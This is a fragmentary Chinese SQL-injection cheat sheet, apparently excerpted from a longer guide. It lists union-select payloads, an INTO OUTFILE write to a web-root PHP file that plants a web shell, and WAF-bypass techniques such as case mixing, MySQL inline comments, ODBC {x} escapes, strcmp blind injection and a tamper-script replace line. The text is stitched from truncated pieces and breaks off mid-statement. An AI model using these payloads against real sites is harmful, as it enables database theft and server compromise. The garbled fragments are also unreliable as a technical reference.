SELECT*/ 1,2,3
利用别名:
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on...>' into outfile '/var/www/html/404.php') --+
也可使用dumpfile进行写入
outfile和dumpfile的区别:
outfile适合导库,在行末尾会写入新行并转义...MySQL查询数据库版本
?
?
0x19 常用过WAF技巧
1.特征字符大小写(基本没用)
UnIoN SeLcT 1,2,3
2.内联注释
id=-1/*!UNION*/%20//*!...x user}from{x mysql.user}
id=-1 union select 1,{x 2},3
8.过滤and和or下的盲注
id=strcmp(left((select%20username...00000order*/')
payload=payload.replace('ALL SELECT','/*!00000all*/ /*!